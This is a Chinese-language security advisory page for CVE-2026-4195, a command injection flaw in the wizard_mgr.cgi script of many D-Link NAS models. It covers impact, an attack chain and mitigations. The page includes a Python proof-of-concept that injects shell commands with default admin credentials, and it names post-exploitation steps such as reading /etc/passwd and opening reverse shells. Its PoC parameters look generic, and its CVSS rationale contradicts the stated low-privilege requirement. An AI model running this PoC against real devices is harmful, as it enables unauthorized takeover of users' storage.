IPBUF安全漏洞报告
English
CVE-2026-4195 CVSS 6.3 中危

D-Link多款NAS设备命令注入漏洞 (CVE-2026-4195)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4195
漏洞类型
命令注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05, DNS-1550-04

相关标签

命令注入CGI漏洞D-LinkNAS设备网络存储远程代码执行CVE-2026-4195web安全

漏洞概述

D-Link多款网络附加存储(NAS)设备中存在命令注入漏洞。该漏洞影响D-Link DNS-120、DNR-202L、DNS-315L、DNS-320、DNS-320L、DNS-320LW、DNS-321、DNR-322L、DNS-323、DNS-325、DNS-326、DNS-327L、DNR-326、DNS-340L、DNS-343、DNS-345、DNS-726-4、DNS-1100-4、DNS-1200-05以及DNS-1550-04等多款产品。漏洞位于设备的/cgi-bin/wizard_mgr.cgi文件中,由于对用户输入缺乏有效的安全过滤和验证,攻击者可以通过构造恶意请求在受影响设备上执行任意系统命令。此漏洞可通过网络远程利用,攻击者只需拥有低权限账户即可发起攻击,无需用户交互。漏洞已于2026年2月5日之前被公开披露,攻击利用代码已发布,野外可能存在利用行为。建议受影响用户尽快采取防护措施。

技术细节

该命令注入漏洞存在于D-Link NAS设备的Web管理界面CGI脚本wizard_mgr.cgi中。漏洞产生的根本原因是该脚本在处理用户提交参数时,直接将用户输入拼接到系统命令中执行,而未对特殊字符进行过滤或使用安全的API调用。攻击者可以通过在HTTP请求中注入分号、管道符、&&、||等Shell命令连接符,配合恶意构造的命令,实现任意系统命令的执行。由于漏洞位于设备的管理接口,攻击者需要具备有效的低权限账户凭证。成功利用此漏洞后,攻击者可以在设备上执行任意命令,获取设备的完全控制权,包括读取敏感配置文件、植入后门程序或将其纳入僵尸网络等。CVSS 3.1评分6.3分(中等严重程度),主要因为攻击复杂度低且无需特殊权限即可利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描互联网或内网中运行存在漏洞的D-Link NAS设备,确认设备型号和固件版本
STEP 2
步骤2: 身份认证
攻击者使用低权限账户(默认凭证或已泄露的凭据)登录设备的Web管理界面
STEP 3
步骤3: 构造恶意请求
攻击者构造包含命令注入载荷的HTTP POST请求,目标URL为/cgi-bin/wizard_mgr.cgi,通过参数注入Shell命令
STEP 4
步骤4: 命令执行
服务器端CGI脚本将用户输入拼接到系统命令中执行,攻击者的恶意命令以设备root权限运行
STEP 5
步骤5: 持久化控制
攻击者执行whoami、cat /etc/passwd等命令获取系统信息,植入后门或反弹Shell建立持久访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-4195 PoC - D-Link NAS Command Injection # Target: /cgi-bin/wizard_mgr.cgi def exploit(target_ip, target_port=80, username='admin', password='admin', cmd='id'): """Exploit command injection in D-Link NAS devices""" url = f'http://{target_ip}:{target_port}/cgi-bin/wizard_mgr.cgi' # Construct malicious payload with command injection # Inject command via parameter manipulation payload = f';{cmd};#' # Authentication headers auth = (username, password) # Malicious request parameters data = { 'action': 'wizard_submit', 'param': payload } try: response = requests.post(url, data=data, auth=auth, timeout=10) print(f'Status Code: {response.status_code}') print(f'Response: {response.text}') return response except requests.exceptions.RequestException as e: print(f'Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_ip> [port] [username] [password] [command]') sys.exit(1) target = sys.argv[1] port = sys.argv[2] if len(sys.argv) > 2 else 80 user = sys.argv[3] if len(sys.argv) > 3 else 'admin' pwd = sys.argv[4] if len(sys.argv) > 4 else 'admin' cmd = sys.argv[5] if len(sys.argv) > 5 else 'id' exploit(target, port, user, pwd, cmd)

影响范围

D-Link DNS-120 (固件 <= 20260205)
D-Link DNR-202L (固件 <= 20260205)
D-Link DNS-315L (固件 <= 20260205)
D-Link DNS-320/DNS-320L/DNS-320LW (固件 <= 20260205)
D-Link DNS-321 (固件 <= 20260205)
D-Link DNR-322L (固件 <= 20260205)
D-Link DNS-323 (固件 <= 20260205)
D-Link DNS-325/DNS-326 (固件 <= 20260205)
D-Link DNS-327L (固件 <= 20260205)
D-Link DNR-326 (固件 <= 20260205)
D-Link DNS-340L (固件 <= 20260205)
D-Link DNS-343 (固件 <= 20260205)
D-Link DNS-345 (固件 <= 20260205)
D-Link DNS-726-4 (固件 <= 20260205)
D-Link DNS-1100-4 (固件 <= 20260205)
D-Link DNS-1200-05 (固件 <= 20260205)
D-Link DNS-1550-04 (固件 <= 20260205)

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:1) 通过防火墙或ACL限制对设备管理端口(80/443)的访问,仅允许内网管理终端访问;2) 更改默认管理员密码为复杂强密码;3) 禁用不必要的远程管理功能;4) 监控设备日志关注异常请求;5) 如条件允许,可考虑暂时断开设备与互联网的连接;6) 评估是否可暂时使用物理隔离方式访问管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表